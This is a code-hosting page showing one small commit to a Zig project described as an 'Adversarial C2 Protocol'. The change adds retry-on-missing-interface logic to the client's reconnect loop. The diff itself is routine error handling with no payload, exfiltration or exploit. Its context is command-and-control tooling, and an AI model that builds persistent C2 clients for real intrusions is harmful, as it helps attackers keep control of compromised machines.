tangled
alpha
login
or
join now
zambyte.robbyzambito.me
/
zaprus
0
fork
atom
Adversarial C2 Protocol Implemented in Zig
0
fork
atom
overview
issues
2
pulls
pipelines
Keep retrying if there is no interface
Robby Zambito
1 month ago
e5cb8396
e744a443
1/1
build.yml
success
1m 36s
+7
-1
1 changed file
expand all
collapse all
unified
split
src
main.zig
+7
-1
src/main.zig
···
146
146
147
147
if (flags.connect != null) {
148
148
reconnect: while (true) {
149
149
-
client = try .init();
149
149
+
client = SaprusClient.init() catch |err| switch (err) {
150
150
+
error.NoInterfaceFound => {
151
151
+
try init.io.sleep(.fromMilliseconds(100), .boot);
152
152
+
continue :reconnect;
153
153
+
},
154
154
+
else => |e| return e,
155
155
+
};
150
156
defer client.deinit();
151
157
log.debug("Starting connection", .{});
152
158